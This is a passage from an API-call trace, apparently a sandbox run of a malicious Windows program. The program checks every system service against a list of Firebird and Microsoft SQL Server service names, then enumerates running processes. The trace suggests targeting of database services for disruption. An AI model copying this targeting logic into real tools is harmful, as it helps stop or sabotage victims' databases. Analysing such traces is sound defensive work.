lpString2="DoSvc") returned 1 [0194.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0194.241] lstrlenW (lpString="DPS") returned 3 [0194.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0194.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0194.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0194.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0194.242] lstrlenW (lpString="DusmSvc") returned 7 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0194.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0194.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0194.242] lstrlenW (lpString="EventLog") returned 8 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0194.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0194.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0194.242] lstrlenW (lpString="EventSystem") returned 11 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0194.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0194.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0194.242] lstrlenW (lpString="FontCache") returned 9 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0194.242] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0194.242] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0194.242] lstrlenW (lpString="gpsvc") returned 5 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0194.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0194.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0194.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0194.242] lstrlenW (lpString="iphlpsvc") returned 8 [0194.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.243] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0194.243] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0194.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0194.243] lstrlenW (lpString="KeyIso") returned 6 [0194.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0194.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0194.243] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0194.243] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0194.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0194.243] lstrlenW (lpString="LanmanServer") returned 12 [0194.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0194.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0194.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0194.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0194.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0194.243] lstrlenW (lpString="LanmanWorkstation") returned 17 [0194.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0194.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0194.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0194.243] lstrlenW (lpString="lfsvc") returned 5 [0194.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0194.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0194.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0194.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0194.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0194.243] lstrlenW (lpString="LicenseManager") returned 14 [0194.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0194.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0194.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0194.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0194.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0194.244] lstrlenW (lpString="lmhosts") returned 7 [0194.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0194.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0194.244] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0194.244] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0194.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0194.244] lstrlenW (lpString="LSM") returned 3 [0194.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0194.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0194.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0194.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0194.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0194.244] lstrlenW (lpString="MpsSvc") returned 6 [0194.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0194.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0194.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0194.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0194.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0194.244] lstrlenW (lpString="NcbService") returned 10 [0194.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0194.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0194.412] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0194.412] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0194.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0194.412] lstrlenW (lpString="netprofm") returned 8 [0194.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0194.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0194.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0194.413] lstrlenW (lpString="NlaSvc") returned 6 [0194.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0194.413] lstrlenW (lpString="nsi") returned 3 [0194.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0194.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0194.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0194.413] lstrlenW (lpString="PcaSvc") returned 6 [0194.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0194.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0194.413] lstrlenW (lpString="PlugPlay") returned 8 [0194.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0194.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0194.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0194.413] lstrlenW (lpString="Power") returned 5 [0194.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0194.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0194.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0194.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0194.414] lstrlenW (lpString="ProfSvc") returned 7 [0194.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0194.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0194.414] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0194.414] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0194.414] lstrlenW (lpString="RpcEptMapper") returned 12 [0194.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0194.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0194.414] lstrlenW (lpString="RpcSs") returned 5 [0194.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0194.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0194.414] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0194.414] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0194.414] lstrlenW (lpString="SamSs") returned 5 [0194.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0194.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0194.414] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0194.414] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0194.414] lstrlenW (lpString="Schedule") returned 8 [0194.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0194.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0194.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0194.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0194.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0194.414] lstrlenW (lpString="SecurityHealthService") returned 21 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0194.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0194.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0194.415] lstrlenW (lpString="SENS") returned 4 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0194.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0194.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0194.415] lstrlenW (lpString="ShellHWDetection") returned 16 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0194.415] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0194.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0194.415] lstrlenW (lpString="Spooler") returned 7 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0194.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0194.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0194.415] lstrlenW (lpString="SSDPSRV") returned 7 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0194.415] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0194.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0194.415] lstrlenW (lpString="StateRepository") returned 15 [0194.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0194.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0194.415] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0194.416] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0194.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0194.416] lstrlenW (lpString="SysMain") returned 7 [0194.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0194.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0194.416] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0194.416] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0194.416] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e3ef8 | out: hHeap=0x790000) returned 1 [0194.416] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x294 [0194.422] Process32FirstW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.423] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.424] lstrlenW (lpString="System") returned 6 [0194.424] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.424] lstrlenW (lpString="smss.exe") returned 8 [0194.424] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.425] lstrlenW (lpString="csrss.exe") returned 9 [0194.425] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.425] lstrlenW (lpString="wininit.exe") returned 11 [0194.426] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.427] lstrlenW (lpString="csrss.exe") returned 9 [0194.427] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.429] lstrlenW (lpString="winlogon.exe") returned 12 [0194.429] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.431] lstrlenW (lpString="services.exe") returned 12 [0194.431] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.432] lstrlenW (lpString="lsass.exe") returned 9 [0194.432] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.438] lstrlenW (lpString="svchost.exe") returned 11 [0194.438] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.438] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.438] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.439] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.439] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.440] lstrlenW (lpString="svchost.exe") returned 11 [0194.440] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.440] lstrlenW (lpString="dwm.exe") returned 7 [0194.440] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.441] lstrlenW (lpString="svchost.exe") returned 11 [0194.441] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.442] lstrlenW (lpString="svchost.exe") returned 11 [0194.442] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.442] lstrlenW (lpString="svchost.exe") returned 11 [0194.442] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.443] lstrlenW (lpString="svchost.exe") returned 11 [0194.443] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.444] lstrlenW (lpString="svchost.exe") returned 11 [0194.444] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.445] lstrlenW (lpString="svchost.exe") returned 11 [0194.445] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.445] lstrlenW (lpString="svchost.exe") returned 11 [0194.445] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.446] lstrlenW (lpString="svchost.exe") returned 11 [0194.446] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.447] lstrlenW (lpString="svchost.exe") returned 11 [0194.447] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.448] lstrlenW (lpString="spoolsv.exe") returned 11 [0194.448] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.448] lstrlenW (lpString="svchost.exe") returned 11 [0194.448] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.449] lstrlenW (lpString="svchost.exe") returned 11 [0194.449] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.450] lstrlenW (lpString="audiodg.exe") returned 11 [0194.450] Process32NextW (in: hSnapshot=0x294, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0194.451] lstrlenW (lpString="sihost.exe") returned 10 [0194.451] Process32NextW (in: hSnapshot=0x294, 